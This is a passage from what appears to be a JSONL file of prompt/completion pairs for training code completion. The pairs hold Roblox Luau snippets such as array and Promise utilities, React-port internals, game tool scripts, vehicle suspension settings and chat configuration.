then\n\t\treturn \"\"\n\tend\n\t-- ROBLOX deviation: use debug.info to discover function names\n\tlocal name = debug.info(fn :: Function, \"n\")\n\tlocal ownerName = nil\n\tif _G.__DEV__ and ownerFn then\n\t\t-- ROBLOX deviation: owner may be a function or a table\n\t\townerName = describeOwner(ownerFn)\n\tend\n\treturn describeComponentFrame(name, source, ownerName)\nend\n"} +{"prompt": "--// Aim|Zoom|Sensitivity Customization", "completion": "\n\tZoomSpeed = 0.23; -- The lower the number the slower and smoother the tween\n\tAimZoom = 40; -- Default zoom\n\tAimSpeed = 0.24;\n\tUnaimSpeed = 0.23;\n\tCycleAimZoom = 30; -- Cycled zoom\n\tMouseSensitivity = 0.5; -- Number between 0.1 and 1\n\tSensitivityIncrement = 0.05; -- No touchy\n\t"} +{"prompt": "--NOTE: We create the rocket once and then clone it when the player fires", "completion": "\nlocal Rocket = Instance.new('Part') do\n\t-- Set up the rocket part\n\tRocket.Name = 'Rocket'\n\tRocket.FormFactor = Enum.FormFactor.Custom --NOTE: This must be done before changing Size\n\tRocket.Size = ROCKET_PART_SIZE\n\tRocket.CanCollide = false\n\n\t-- Add the mesh\n\tlocal mesh = Instance.new('SpecialMesh', Rocket)\n\tmesh.MeshId = MISSILE_MESH_ID\n\tmesh.Scale = MISSILE_MESH_SCALE\n\n\t-- Add fire\n\tlocal fire = Instance.new('Fire', Rocket)\n\tfire.Heat = 5\n\tfire.Size = 2\n\n\t-- Add smoke\n\tif ROCKET_TRAIL == true then\n\t\tlocal trail = script.TrailEffect.TrailEffect:Clone()\n\t\ttrail.Enabled = true\n\t\ttrail.Parent = Rocket\n\tend\n\t\n\t-- Add a force to counteract gravity\n\tlocal bodyForce = Instance.new('BodyForce', Rocket)\n\tbodyForce.Name = 'Antigravity'\n\tbodyForce.Force = Vector3.new(0, Rocket:GetMass() * GRAVITY_ACCELERATION, 0)\n\n\t-- Clone the sounds and set Boom to PlayOnRemove\n\tlocal swooshSoundClone = SwooshSound:Clone()\n\tswooshSoundClone.Parent = Rocket\n\tlocal boomSoundClone = BoomSound:Clone()\n\tboomSoundClone.PlayOnRemove = true\n\tboomSoundClone.Parent = Rocket\n\n\t-- Attach creator tags to the rocket early on\n\tlocal creatorTag = Instance.new('ObjectValue', Rocket)\n\tcreatorTag.Value = MyPlayer\n\tcreatorTag.Name = 'creator' --NOTE: Must be called 'creator' for website stats\n\tlocal iconTag = Instance.new('StringValue', creatorTag)\n\ticonTag.Value = Tool.TextureId\n\ticonTag.Name = 'icon'\n\n\t-- Finally, clone the rocket script and enable it\n\tlocal rocketScriptClone = RocketScript:Clone()\n\trocketScriptClone.Parent = Rocket\n\trocketScriptClone.Disabled = false\nend\n"} +{"prompt": "-- Implements Javascript's `Array.prototype.map` as defined below\n-- https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/map", "completion": "\nreturn function(t: Array, callback: callbackFn | callbackFnWithThisArg, thisArg: V?): Array\n\tif __DEV__ then\n\t\tif typeof(t) ~= \"table\" then\n\t\t\terror(string.format(\"Array.map called on %s\", typeof(t)))\n\t\tend\n\t\tif typeof(callback) ~= \"function\" then\n\t\t\terror(\"callback is not a function\")\n\t\tend\n\tend\n\n\tlocal len = #t\n\tlocal A = {}\n\tlocal k = 1\n\n\twhile k <= len do\n\t\tlocal kValue = t[k]\n\n\t\tif kValue ~= nil then\n\t\t\tlocal mappedValue\n\n\t\t\tif thisArg ~= nil then\n\t\t\t\tmappedValue = (callback :: callbackFnWithThisArg)(thisArg, kValue, k, t)\n\t\t\telse\n\t\t\t\tmappedValue = (callback :: callbackFn)(kValue, k, t)\n\t\t\tend\n\n\t\t\tA[k] = mappedValue\n\t\tend\n\t\tk += 1\n\tend\n\n\treturn A\nend\n"} +{"prompt": "--[=[\n\tAttaches an `andThen` handler to this Promise that discards the resolved value and returns the given value from it.\n\n\t```lua\n\t\tpromise:andThenReturn(\"some\", \"values\")\n\t```\n\n\tThis is sugar for\n\n\t```lua\n\t\tpromise:andThen(function()\n\t\t\treturn \"some\", \"values\"\n\t\tend)\n\t```\n\n\t:::caution\n\tPromises are eager, so if you pass a Promise to `andThenReturn`, it will begin executing before `andThenReturn` is reached in the chain. Likewise, if you pass a Promise created from [[Promise.reject]] into `andThenReturn`, it's possible that this will trigger the unhandled rejection warning. If you need to return a Promise, it's usually best practice to use [[Promise.andThen]].\n\t:::\n\n\t@param ... any -- Values to return from the function\n\t@return Promise\n]=]", "completion": "\nfunction Promise.prototype:andThenReturn(...)\n\tlocal length, values = pack(...)\n\treturn self:_andThen(debug.traceback(nil, 2), function()\n\t\treturn unpack(values, 1, length)\n\tend)\nend\n"} +{"prompt": "-- Setup animation objects", "completion": "\nfunction scriptChildModified(child)\n\tlocal fileList = animNames[child.Name]\n\tif (fileList ~= nil) then\n\t\tconfigureAnimationSet(child.Name, fileList)\n\tend\t\nend\n\nscript.ChildAdded:Connect(scriptChildModified)\nscript.ChildRemoved:Connect(scriptChildModified)\n\n\nfor name, fileList in animNames do \n\tconfigureAnimationSet(name, fileList)\nend\t\n"} +{"prompt": "--Got this one on the first try. What a simple edit. x3 ~Bloxmaster998144 ", "completion": "\n\nr = game:service(\"RunService\")\n\n\nlocal damage = 5\n\n\nlocal slash_damage = 10\nlocal lunge_damage = 30\n\nsword = script.Parent.Handle\nTool = script.Parent\n\nlocal fxToggled = false\n\nlocal SlashSound = Instance.new(\"Sound\")\nSlashSound.SoundId = \"rbxasset://sounds\\\\swordslash.wav\"\nSlashSound.Parent = sword\nSlashSound.Volume = .7\n\nlocal LungeSound = Instance.new(\"Sound\")\nLungeSound.SoundId = \"rbxasset://sounds\\\\swordlunge.wav\"\nLungeSound.Parent = sword\nLungeSound.Volume = .6\n\nlocal UnsheathSound = Instance.new(\"Sound\")\nUnsheathSound.SoundId = \"rbxasset://sounds\\\\unsheath.wav\"\nUnsheathSound.Parent = sword\nUnsheathSound.Volume = 1\n\n\nfunction blow(hit)\n\tif (hit.Parent == nil) then return end \n\n\tlocal humanoid = hit.Parent:findFirstChild(\"Humanoid\")\n\tlocal vCharacter = Tool.Parent\n\tlocal vPlayer = game.Players:playerFromCharacter(vCharacter)\n\tlocal hum = vCharacter:findFirstChild(\"Humanoid\") \n\tif humanoid and humanoid ~= hum and hum then\n\t\t-- final check, make sure sword is in-hand\n\t\tlocal guygettingsliced = game.Players:GetPlayerFromCharacter(hit.Parent) --OH LOOK, here's an edit \n\t\tlocal right_arm = vCharacter:FindFirstChild(\"Right Arm\")\n\t\tif (right_arm) then\n\t\t\tlocal joint = right_arm:FindFirstChild(\"RightGrip\")\n\t\t\tif (joint and (joint.Part0 == sword or joint.Part1 == sword)) then\n\t\t\t\tif guygettingsliced then --If he's a player \n\t\t\t\t\t--if vPlayer.TeamColor ~= guygettingsliced.TeamColor then \n\t\t\t\t\t\ttagHumanoid(humanoid, vPlayer)\n\t\t\t\t\t\thumanoid:TakeDamage(damage)\n\t\t\t\t\t\twait(1)\n\t\t\t\t\t\tuntagHumanoid(humanoid)\n\t\t\t\t\t--end \n\t\t\t\telse --If he's not a player (AI, shop, etc) \n\t\t\t\t\ttagHumanoid(humanoid, vPlayer)\n\t\t\t\t\thumanoid:TakeDamage(damage)\n\t\t\t\t\twait(1)\n\t\t\t\t\tuntagHumanoid(humanoid)\n\t\t\t\tend \n\t\t\tend\n\t\tend\n"} +{"prompt": "--character limbs", "completion": "\nlocal larm\nlocal rarm\nlocal lleg\nlocal rleg\nlocal head\nlocal torso\nlocal hrp"} +{"prompt": "--!strict\n--[=[\n @function toArray\n @within Set\n\n @param set { [T]: boolean } -- The set to convert to an array.\n @return {T} -- The array.\n\n Converts a set to an array.\n\n ```lua\n local set = { hello = true, world = true }\n\n local array = ToArray(set) -- { \"hello\", \"world\" }\n ```\n]=]", "completion": "\nlocal function toArray(set: { [T]: boolean }): { T }\n\tlocal result = {}\n\n\tfor key, _ in pairs(set) do\n\t\ttable.insert(result, key)\n\tend\n\n\treturn result\nend\n\nreturn toArray\n"} +{"prompt": "--[=[\n\t@function shuffle\n\t@within Array\n\n\t@param array {T} -- The array to shuffle.\n\t@return {T} -- The shuffled array.\n\n\tRandomises the order of the items in an array.\n\n\t```lua\n\tlocal array = { 1, 2, 3 }\n\n\tlocal new = Shuffle(array) -- { 2, 3, 1 }\n\t```\n]=]", "completion": "\nlocal function shuffle(array: { T }): { T }\n\tlocal random = Random.new(os.time() * #array)\n\tlocal result = Copy(array)\n\n\tfor index = #result, 1, -1 do\n\t\tlocal randomIndex = random:NextInteger(1, index)\n\t\tlocal temp = result[index]\n\n\t\tresult[index] = result[randomIndex]\n\t\tresult[randomIndex] = temp\n\tend\n\n\treturn result\nend\n\nreturn shuffle\n"} +{"prompt": "--on", "completion": "\n\nscript.Parent.Lid.Transparency = 0\nwait(1/27)\nscript.Parent.Lid.Transparency = 0.2\nwait(1/27)\nscript.Parent.Lid.Transparency = 0.4\nwait(1/27)\nscript.Parent.Lid.Transparency = 0.6\nwait(1/27)\nscript.Parent.Lid.Transparency = 0.8\nwait(1/27)\nscript.Parent.Lid.Transparency = 1\n\nelse\n\non = false\n"} +{"prompt": "-- deviation: Ignore enableComponentStackLocations\n-- local ReactFeatureFlags = require(script.Parent.ReactFeatureFlags)\n-- local enableComponentStackLocations = ReactFeatureFlags.enableComponentStackLocations", "completion": "\n\nlocal ReactSymbols = require(script.Parent.ReactSymbols)\nlocal REACT_SUSPENSE_TYPE = ReactSymbols.REACT_SUSPENSE_TYPE\nlocal REACT_SUSPENSE_LIST_TYPE = ReactSymbols.REACT_SUSPENSE_LIST_TYPE\nlocal REACT_FORWARD_REF_TYPE = ReactSymbols.REACT_FORWARD_REF_TYPE\nlocal REACT_MEMO_TYPE = ReactSymbols.REACT_MEMO_TYPE\nlocal REACT_BLOCK_TYPE = ReactSymbols.REACT_BLOCK_TYPE\nlocal REACT_LAZY_TYPE = ReactSymbols.REACT_LAZY_TYPE\n\nlocal ConsolePatchingDev = require(script.Parent[\"ConsolePatchingDev.roblox\"])\nlocal disableLogs = ConsolePatchingDev.disableLogs\nlocal reenableLogs = ConsolePatchingDev.reenableLogs\n\nlocal ReactSharedInternals = require(script.Parent.ReactSharedInternals)\nlocal ReactCurrentDispatcher = ReactSharedInternals.ReactCurrentDispatcher\n"} +{"prompt": "--Stop animation if...--", "completion": "\nHumanoid.Changed:connect(function()\n\tif Humanoid.Jump and RAnimation.IsPlaying then\n\t\tRAnimation:Stop()\n\tend\nend)\n"} +{"prompt": "--------------------[ STANCE FUNCTIONS ]----------------------------------------------", "completion": "\n\nfunction Stand(OnDeselected)\n\tlocal LHip = Torso[\"Left Hip\"]\n\tlocal RHip = Torso[\"Right Hip\"]\n\tlocal Root = HRP.RootJoint\n\tStance = 0\n\tif S.StanceAnimation and (not OnDeselected) then\n\t\tspawn(function()\n\t\t\tlocal PreviousOffset = Humanoid.CameraOffset\n\t\t\tlocal PreviousRootP = Root.C0.p\n\t\t\tfor X = 0, 90, 1.5 / S.StanceChangeSpeed do\n\t\t\t\tif Stance ~= 0 then break end\n\t\t\t\tlocal Alpha = Sine(X)\n\t\t\t\tHumanoid.CameraOffset = PreviousOffset:lerp(StanceOffset[1], Alpha)\n\t\t\t\tRoot.C0 = CF(PreviousRootP:lerp(VEC3(), Alpha)) * CFANG(RAD(-90), 0, RAD(180))\n\t\t\t\tRS:wait()\n\t\t\tend\n\t\tend)\n\t\tTweenJoint(ABWeld, CF(), CF(), Sine, S.StanceChangeSpeed)\n\t\tTweenJoint(LHip, CF(-1, -1, 0) * CFANG(0, RAD(-90), 0), CF(-0.5, 1, 0) * CFANG(0, RAD(-90), 0), Sine, S.StanceChangeSpeed)\n\t\tTweenJoint(RHip, CF(1, -1, 0) * CFANG(RAD(-180), RAD(90), 0), CF(0.5, 1, 0) * CFANG(RAD(-180), RAD(90), 0), Sine, S.StanceChangeSpeed)\n\telseif OnDeselected then\n\t\tHumanoid.CameraOffset = StanceOffset[1]\n\t\tABWeld.C0 = CF()\n\t\tABWeld.C1 = CF()\n\t\tLHip.C0 = CF(-1, -1, 0) * CFANG(0, RAD(-90), 0)\n\t\tLHip.C1 = CF(-0.5, 1, 0) * CFANG(0, RAD(-90), 0)\n\t\tRHip.C0 = CF(1, -1, 0) * CFANG(RAD(-180), RAD(90), 0)\n\t\tRHip.C1 = CF(0.5, 1, 0) * CFANG(RAD(-180), RAD(90), 0)\n\t\tRoot.C0 = CFANG(RAD(-90), 0, RAD(180))\n\tend\nend\n\nfunction Crouch()\n\tlocal LHip = Torso[\"Left Hip\"]\n\tlocal RHip = Torso[\"Right Hip\"]\n\tlocal Root = HRP.RootJoint\n\tStance = 1\n\tif S.StanceAnimation then\n\t\tspawn(function()\n\t\t\tlocal PreviousOffset = Humanoid.CameraOffset\n\t\t\tlocal PreviousRootP = Root.C0.p\n\t\t\tfor X = 0, 90, 1.5 / S.StanceChangeSpeed do\n\t\t\t\tif Stance ~= 1 then break end\n\t\t\t\tlocal Alpha = Sine(X)\n\t\t\t\tHumanoid.CameraOffset = PreviousOffset:lerp(StanceOffset[2], Alpha)\n\t\t\t\tRoot.C0 = CF(PreviousRootP:lerp(VEC3(0, -1, 0), Alpha)) * CFANG(RAD(-90), 0, RAD(180))\n\t\t\t\tRS:wait()\n\t\t\tend\n\t\tend)\n\t\tTweenJoint(ABWeld, CF(0, 0, -1 / 16), CF(), Sine, S.StanceChangeSpeed)\n\t\tTweenJoint(LHip, CF(-1, -0.5, 0) * CFANG(0, RAD(-90), 0), CF(-0.5, 0.5, 1) * CFANG(0, RAD(-90), RAD(-90)), Sine, S.StanceChangeSpeed)\n\t\tTweenJoint(RHip, CF(1, -0.5, 0.25) * CFANG(RAD(-180), RAD(90), 0), CF(0.5, 0.5, 1) * CFANG(RAD(-180), RAD(90), 0), Sine, S.StanceChangeSpeed)\n\telse\n\t\tHumanoid.CameraOffset = StanceOffset[2]\n\t\tABWeld.C0 = CF(0, 0, -1 / 16)\n\t\tABWeld.C1 = CF()\n\t\tLHip.C0 = CF(-1, -0.5, 0) * CFANG(0, RAD(-90), 0)\n\t\tLHip.C1 = CF(-0.5, 0.5, 1) * CFANG(0, RAD(-90), RAD(-90))\n\t\tRHip.C0 = CF(1, -0.5, 0.25) * CFANG(RAD(-180), RAD(90), 0)\n\t\tRHip.C1 = CF(0.5, 0.5, 1) * CFANG(RAD(-180), RAD(90), 0)\n\t\tRoot.C0 = CF(0, -1, 0) * CFANG(RAD(-90), 0, RAD(180))\n\tend\nend\n\nfunction Prone()\n\tlocal LHip = Torso[\"Left Hip\"]\n\tlocal RHip = Torso[\"Right Hip\"]\n\tlocal Root = HRP.RootJoint\n\tStance = 2\n\tif S.StanceAnimation then\n\t\tspawn(function()\n\t\t\tlocal PreviousOffset = Humanoid.CameraOffset\n\t\t\tlocal PreviousRootP = Root.C0.p\n\t\t\tfor X = 0, 90, 1.5 / S.StanceChangeSpeed do\n\t\t\t\tif Stance ~= 2 then break end\n\t\t\t\tlocal Alpha = Sine(X)\n\t\t\t\tHumanoid.CameraOffset = PreviousOffset:lerp(StanceOffset[3], Alpha)\n\t\t\t\tRoot.C0 = CF(PreviousRootP:lerp(VEC3(0, -2.5, 1), Alpha)) * CFANG(RAD(180), 0, RAD(180))\n\t\t\t\tRS:wait()\n\t\t\tend\n\t\tend)\n\t\tTweenJoint(ABWeld, CF(0, 0, -1 / 8), CF(), Sine, S.StanceChangeSpeed)\n\t\tTweenJoint(LHip, CF(-1, -1, 0) * CFANG(0, RAD(-90), 0), CF(-0.5, 1, 0) * CFANG(0, RAD(-90), 0), Sine, S.StanceChangeSpeed)\n\t\tTweenJoint(RHip, CF(1, -1, 0) * CFANG(RAD(-180), RAD(90), 0), CF(0.5, 1, 0) * CFANG(RAD(-180), RAD(90), 0), Sine, S.StanceChangeSpeed)\n\telse\n\t\tHumanoid.CameraOffset = StanceOffset[3]\n\t\tABWeld.C0 = CF(0, 0, -1 / 8)\n\t\tABWeld.C1 = CF()\n\t\tLHip.C0 = CF(-1, -1, 0) * CFANG(0, RAD(-90), 0)\n\t\tLHip.C1 = CF(-0.5, 1, 0) * CFANG(0, RAD(-90), 0)\n\t\tRHip.C0 = CF(1, -1, 0) * CFANG(RAD(-180), RAD(90), 0)\n\t\tRHip.C1 = CF(0.5, 1, 0) * CFANG(RAD(-180), RAD(90), 0)\n\t\tRoot.C0 = CF(0, -2.5, 1) * CFANG(RAD(180), 0, RAD(180))\n\tend\nend\n\nfunction Dive(Speed)\n\tlocal DiveVelocity = (HRP.CFrame * CFANG(RAD(18),0,0)).lookVector * Speed * (35 / 16) * 4e3\n\tHRP.Velocity = VEC3()\n\tTorso.Velocity = VEC3()\n\tlocal BF = Instance.new(\"BodyForce\")\n\tBF.force = DiveVelocity\n\tBF.Parent = HRP\n\tdelay(0.05, function()\n\t\tProne()\n\t\tlocal Start = tick()\n\t\twhile true do\n\t\t\twait()\n\t\t\tif (tick() - Start) > 0.1 then break end\n\t\t\tBF.force = -HRP.Velocity * 700\n\t\tend\n\t\tBF:Destroy()\n\tend)\nend\n"} +{"prompt": "-- Using the FindPartsInRegion3 API, this regen is \"smart\" and will NOT regenerate if something is in the way.\n-- If something IS in the way, the script will wait for the area to be clear.", "completion": "\n\nlocal plane = script.Parent.Plane:clone()\nscript.Parent.Plane.Cloned.Value,plane.Cloned.Value = true,true\nscript.Parent.Plane.Origin.Value = script.Parent\nlocal regen = script.Parent.Regen\nlocal active = True\nlocal downtime = 1\t-- This is the only thing you should edit in any script in this plane kit. Every other piece of code should be left alone\n\nplane.PrimaryPart = plane.MainParts.Main\nlocal planeSize = plane:GetModelSize()\nlocal planePos = plane:GetModelCFrame().p\nlocal v0 = (planePos-(planeSize/2))\nlocal v1 = (planePos+(planeSize/2))\nlocal region = Region3.new(v0,v1)\t-- Creates a 3D space using two Vector3s\n\nlocal gui = Instance.new(\"ScreenGui\")\ngui.Name = \"RegenGui\"\nlocal f = Instance.new(\"Frame\",gui)\nf.Name = \"Message\"\nf.Style = Enum.FrameStyle.RobloxRound\nf.Position = UDim2.new(0.5,-150,0.25,-15)\nf.Size = UDim2.new(0,300,0,30)\nlocal t = Instance.new(\"TextLabel\",f)\nt.Name = \"Msg\"\nt.Text = \"Awaiting area to be clear for regeneration to continue\"\nt.TextColor3 = Color3.new(1,1,1)\nt.Font = Enum.Font.ArialBold\nt.FontSize = Enum.FontSize.Size12\nt.Position = UDim2.new(0.5,0,0.5,0)\n\nfunction getPassengers(pln)\t-- Checks for other players in seats on the plane. If no one is on board, the plane will be marked as \"inactive\" and removed\n\tlocal plrs = {}\n\tlocal function scan(parent)\n\t\tfor _,v in pairs(parent:GetChildren()) do\n\t\t\tif ((v:IsA(\"Seat\")) or (v:IsA(\"VehicleSeat\"))) then\n\t\t\t\tif ((v:findFirstChild(\"SeatWeld\")) and (v.SeatWeld.Part1)) then\n\t\t\t\t\tlocal plr = game.Players:GetPlayerFromCharacter(v.SeatWeld.Part1.Parent)\n\t\t\t\t\tif (plr) then table.insert(plrs,plr) end\n\t\t\t\tend\n\t\t\tend\n\t\t\tscan(v)\n\t\tend\n\tend\n\tscan(pln)\n\treturn plrs\nend\n\nfunction deleteInactivePlanes()\n\tfor _,v in pairs(script.Parent:GetChildren()) do\n\t\tif (v.Name == plane.Name) then\n\t\t\tlocal passengers = getPassengers(v)\n\t\t\tif (#passengers == 0) then\n\t\t\t\tv:remove()\n\t\t\tend\n\t\tend\n\tend\nend\n\nfunction regionIsClear()\n\tlocal parts = game.Workspace:findPartsInRegion3(region,regen,100)\n\treturn (#parts == 0)\nend\n\nfunction regenMain()\n\tlocal p = plane:clone()\n\tp.Parent = script.Parent\n\tp:MakeJoints()\nend\n\nregen.Touched:connect(function(obj)\n\tif (active) then return end\n\tlocal plr = game.Players:GetPlayerFromCharacter(obj.Parent)\n\tif (not plr) then return end\n\tactive = true\n\tdeleteInactivePlanes()\n\tfor i = 0,0.5,0.1 do\n\t\tregen.Transparency = i\n\t\twait()\n\tend\n\tregen.Transparency = 0.5\n\twhile (not regionIsClear()) do\n\t\twait(0.5)\n\t\tif ((plr) and (plr.Parent) and (plr:findFirstChild(\"PlayerGui\"))) then\n\t\t\tgui.Parent = plr.PlayerGui\n\t\tend\n\tend\n\tgui.Parent = nil\n\tregenMain()\n\twait(downtime)\n\tfor i = 0.5,0,-0.1 do\n\t\tregen.Transparency = i\n\t\twait()\n\tend\n\tregen.Transparency = 0\n\tactive = false\nend)\n"} +{"prompt": "--[[\nExplorerButton.MouseButton1Up:connect(function()\n\tswitchWindows(\"Explorer\")\nend)\n\nSettingsButton.MouseButton1Up:connect(function()\n\tswitchWindows(\"Settings\")\nend)\n--]]", "completion": "\n\nfor i,v in pairs(SlideFrame:GetChildren()) do\n\tif not blackList[v.Name] then\n\t\tv.MouseButton1Click:connect(function()\n\t\t\tswitchWindows(v.Name)\n\t\tend)\n\t\t\n\t\tv.MouseEnter:connect(function()v.BackgroundTransparency = 0.5 end)\n\t\tv.MouseLeave:connect(function()if CurrentWindow~=v.Name then v.BackgroundTransparency = 1 end end)\n\tend\nend\n"} +{"prompt": "-- Device check", "completion": "\nlocal IS_CONSOLE = GuiService:IsTenFootInterface()\nlocal IS_MOBILE = UserInputService.TouchEnabled and not UserInputService.MouseEnabled and not IS_CONSOLE\n"} +{"prompt": "--Primary move function", "completion": "\nlocal function move(self)\n\tif self._waypoints[self._currentWaypoint].Action == Enum.PathWaypointAction.Jump then\n\t\tsetJumpState(self)\n\tend\n\tself._humanoid:MoveTo(self._waypoints[self._currentWaypoint].Position)\nend\n"} +{"prompt": "-- For those who prefer distinct functions", "completion": "\nfunction ControlModule:Disable()\n\tif self.activeController then\n\t\tself.activeController:Enable(false)\n\n\t\tif self.moveFunction then\n\t\t\tself.moveFunction(Players.LocalPlayer, Vector3.new(0,0,0), true)\n\t\tend\n\tend\nend\n\n"} +{"prompt": "--Returns a ModuleScript.", "completion": "\nfunction Resources:GetResource(Name)\n\treturn script:WaitForChild(Name)\nend\n\nreturn Resources\n"} +{"prompt": "--[[\n\tRestricts the reading of missing members for a table.\n]]", "completion": "\n\nlocal Package = script.Parent.Parent\nlocal logError = require(Package.Logging.logError)\n\ntype table = {[any]: any}\n\nlocal function restrictRead(tableName: string, strictTable: table): table\n\t-- FIXME: Typed Luau doesn't recognise this correctly yet\n\tlocal metatable = getmetatable(strictTable :: any)\n\n\tif metatable == nil then\n\t\tmetatable = {}\n\t\tsetmetatable(strictTable, metatable)\n\tend\n\n\tfunction metatable:__index(memberName)\n\t\tlogError(\"strictReadError\", nil, tostring(memberName), tableName)\n\tend\n\n\treturn strictTable\nend\n\nreturn restrictRead\n"} +{"prompt": "---[[ Misc Settings ]]", "completion": "\nmodule.WhisperCommandAutoCompletePlayerNames = true\n\nlocal ChangedEvent = Instance.new(\"BindableEvent\")\n\nlocal proxyTable = setmetatable({},\n{\n\t__index = function(tbl, index)\n\t\treturn module[index]\n\tend,\n\t__newindex = function(tbl, index, value)\n\t\tmodule[index] = value\n\t\tChangedEvent:Fire(index, value)\n\tend,\n})\n\nrawset(proxyTable, \"SettingsChanged\", ChangedEvent.Event)\n\nreturn proxyTable\n"} +{"prompt": "-- upstream: https://github.com/facebook/react/blob/c5d2fc7127654e43de59fff865b74765a103c4a5/packages/react-reconciler/src/ReactFiberHostConfigWithNoPersistence.js\n--[[*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n]]", "completion": "\n\nlocal invariant = require(script.Parent.Parent.invariant)\n"} +{"prompt": "--[[Susupension]]", "completion": "\n\tTune.SusEnabled\t\t= true\t\t-- works only in with PGSPhysicsSolverEnabled, defaults to false when PGS is disabled\n\t\n\t--Front Suspension\n\tTune.FSusDamping\t= 400\t\t-- Spring Dampening\n\tTune.FSusStiffness\t= 17000\t\t-- Spring Force\n\tTune.FSusLength\t\t= .8\t\t-- Resting Suspension length (in studs)\n\tTune.FSusMaxExt\t\t= .15\t\t-- Max Extension Travel (in studs)\n\tTune.FSusMaxComp\t= .1\t\t-- Max Compression Travel (in studs)\n\tTune.FSusAngle\t\t= 75\t\t-- Suspension Angle (degrees from horizontal)\n\t\t\n\tTune.FWsBoneLen\t\t= 6\t\t\t-- Wishbone Length\n\tTune.FWsBoneAngle\t= 3\t\t\t-- Wishbone angle (degrees from horizontal)\n\tTune.FAnchorOffset\t= {\t\t\t-- Suspension anchor point offset (relative to center of wheel)\n\t --[[Lateral]]\t\t-.4\t\t,\t-- positive = outward\n\t --[[Vertical]]\t\t-.5\t\t,\t-- positive = upward\n\t --[[Forward]]\t\t0\t\t}\t-- positive = forward\n\t\n\t--Rear Suspension\n\tTune.RSusDamping\t= 400\t\t-- Spring Dampening\n\tTune.RSusStiffness\t= 17000\t\t-- Spring Force\n\tTune.RSusLength\t\t= .8\t\t-- Resting Suspension length (in studs)\n\tTune.RSusMaxExt\t\t= .15\t\t-- Max Extension Travel (in studs)\n\tTune.RSusMaxComp\t= .1\t\t-- Max Compression Travel (in studs)\n\tTune.RSusAngle\t\t= 80\t\t-- Suspension Angle (degrees from horizontal)\n\t\n\tTune.RWsBoneLen\t\t= 5\t\t\t-- Wishbone Length\n\tTune.RWsBoneAngle\t= 2\t\t\t-- Wishbone angle (degrees from horizontal)\n\tTune.RAnchorOffset\t= {\t\t\t-- Suspension anchor point offset (relative to center of wheel)\n\t --[[Lateral]]\t\t-.4\t\t,\t-- positive = outward\n\t --[[Vertical]]\t\t-.5\t\t,\t-- positive = upward\n\t --[[Forward]]\t\t0\t\t}\t-- positive = forward\n\n\t--Aesthetics\t\n\tTune.SusVisible\t\t= false\t\t\t-- Spring Visible\n\tTune.WsBVisible\t\t= false\t\t\t-- Wishbone Visible\n\tTune.SusRadius\t\t= .2\t\t\t-- Suspension Coil Radius\n\tTune.SusThickness\t= .1\t\t\t-- Suspension Coil Thickness\n\tTune.SusColor\t\t= \"Really red\"\t\t-- Suspension Color [BrickColor]\n\tTune.SusCoilCount\t= 8\t\t\t\t-- Suspension Coil Count\n\tTune.WsColor\t\t= \"Black\"\t\t-- Wishbone Color [BrickColor]\n\tTune.WsThickness\t= .1\t\t\t-- Wishbone Rod Thickness\n\t"} +{"prompt": "-- Set the \"AngularVelocity\" property on all of the CylindricalConstraint motors", "completion": "\nlocal function setMotorVelocity(vel)\n\tmotorFL.AngularVelocity = vel\n\tmotorBL.AngularVelocity = vel\n\t-- Motors on the right side are facing the opposite direction, so negative velocity must be used\n\tmotorFR.AngularVelocity = -vel\n\tmotorBR.AngularVelocity = -vel\nend\n"} +{"prompt": "---[[ Fade Out and In Settings ]]", "completion": "\nmodule.ChatWindowBackgroundFadeOutTime = 3.5 --Chat background will fade out after this many seconds.\nmodule.ChatWindowTextFadeOutTime = 30\t\t\t\t--Chat text will fade out after this many seconds.\nmodule.ChatDefaultFadeDuration = 0.8\nmodule.ChatShouldFadeInFromNewInformation = false\nmodule.ChatAnimationFPS = 20.0\n"} +{"prompt": "--!strict\n--[=[\n\t@function removeIndices\n\t@within Array\n\n\t@param array {T} -- The array to remove the indices from.\n\t@param ... ...number -- The indices to remove the values from (can be negative).\n\t@return {T} -- The array with the values removed.\n\n\tRemoves values from an array at the given indices.\n\n\t```lua\n\tlocal array = { 1, 2, 3 }\n\n\tlocal new = RemoveIndices(array, 1, 2) -- { 3 }\n\tlocal new = RemoveIndices(array, 0, -1) -- { 1 }\n\t```\n]=]", "completion": "\nlocal function removeIndices(array: { T }, ...: number): { T }\n\tlocal length = #array\n\tlocal indices = {}\n\tlocal result = {}\n\n\tfor _, index in ipairs({ ... }) do\n\t\tif index < 1 then\n\t\t\tindex += length\n\t\tend\n\n\t\tindices[index] = true\n\tend\n\n\tfor index, value in ipairs(array) do\n\t\tif not indices[index] then\n\t\t\ttable.insert(result, value)\n\t\tend\n\tend\n\n\treturn result\nend\n\nreturn removeIndices\n"} +{"prompt": "-- Allowed locations in the hierarchy (descendants of which are authorized)", "completion": "\nSecurity.AllowedLocations = { Workspace };\n"} +{"prompt": "--[[**\n\tensures Roblox CFrame type\n\n\t@param value The value to check against\n\n\t@returns True iff the condition is satisfied, false otherwise\n**--]]", "completion": "\nt.CFrame = primitive(\"CFrame\")\n"} +{"prompt": "-- Connect events for player interaction", "completion": "\nTool.Equipped:connect(function()\n\tlocal Character, Player = GetCharacter(Tool)\n\n\tif Character then\n\t\t-- Connect events to recalculate gravity when hats are added or removed. Of course, this is not a perfect solution,\n\t\t-- as connected parts are not necessarily part of the character, but ROBLOX has no API to handle the changing of joints, and\n\t\t-- scanning the whole game for potential joints is really not worth the efficiency cost. \n\t\tGravityMaid.DescendantAddedConnection = Character.DescendantAdded:connect(function()\n\t\t\tUpdateGravityEffect(Character)\n\t\tend)\n\n\t\tGravityMaid.DecendantRemovingConnection = Character.DescendantRemoving:connect(function()\n\t\t\tUpdateGravityEffect(Character)\n\t\tend)\n\n\t\tUpdateGravityEffect(Character)\n\t\t-- Add in the force\n\t\tAntiGravityForce.Parent = Handle\n\telse\n\t\twarn(\"[GravityCoil] - Somehow inexplicity failed to retrieve character\")\n\tend\nend)\n\nTool.Unequipped:connect(function()\n\t-- Remove force and clean up events\n\tAntiGravityForce.Parent = nil\n\tGravityMaid:DoCleaning()\nend)\n"} +{"prompt": "--// Declarables", "completion": "\nlocal L_15_ = false\n\nlocal L_16_ = false\nlocal L_17_ = true\n\nlocal L_18_ = L_1_:WaitForChild('Resource')\nlocal L_19_ = L_18_:WaitForChild('FX')\nlocal L_20_ = L_18_:WaitForChild('Events')\nlocal L_21_ = L_18_:WaitForChild('HUD')\nlocal L_22_ = 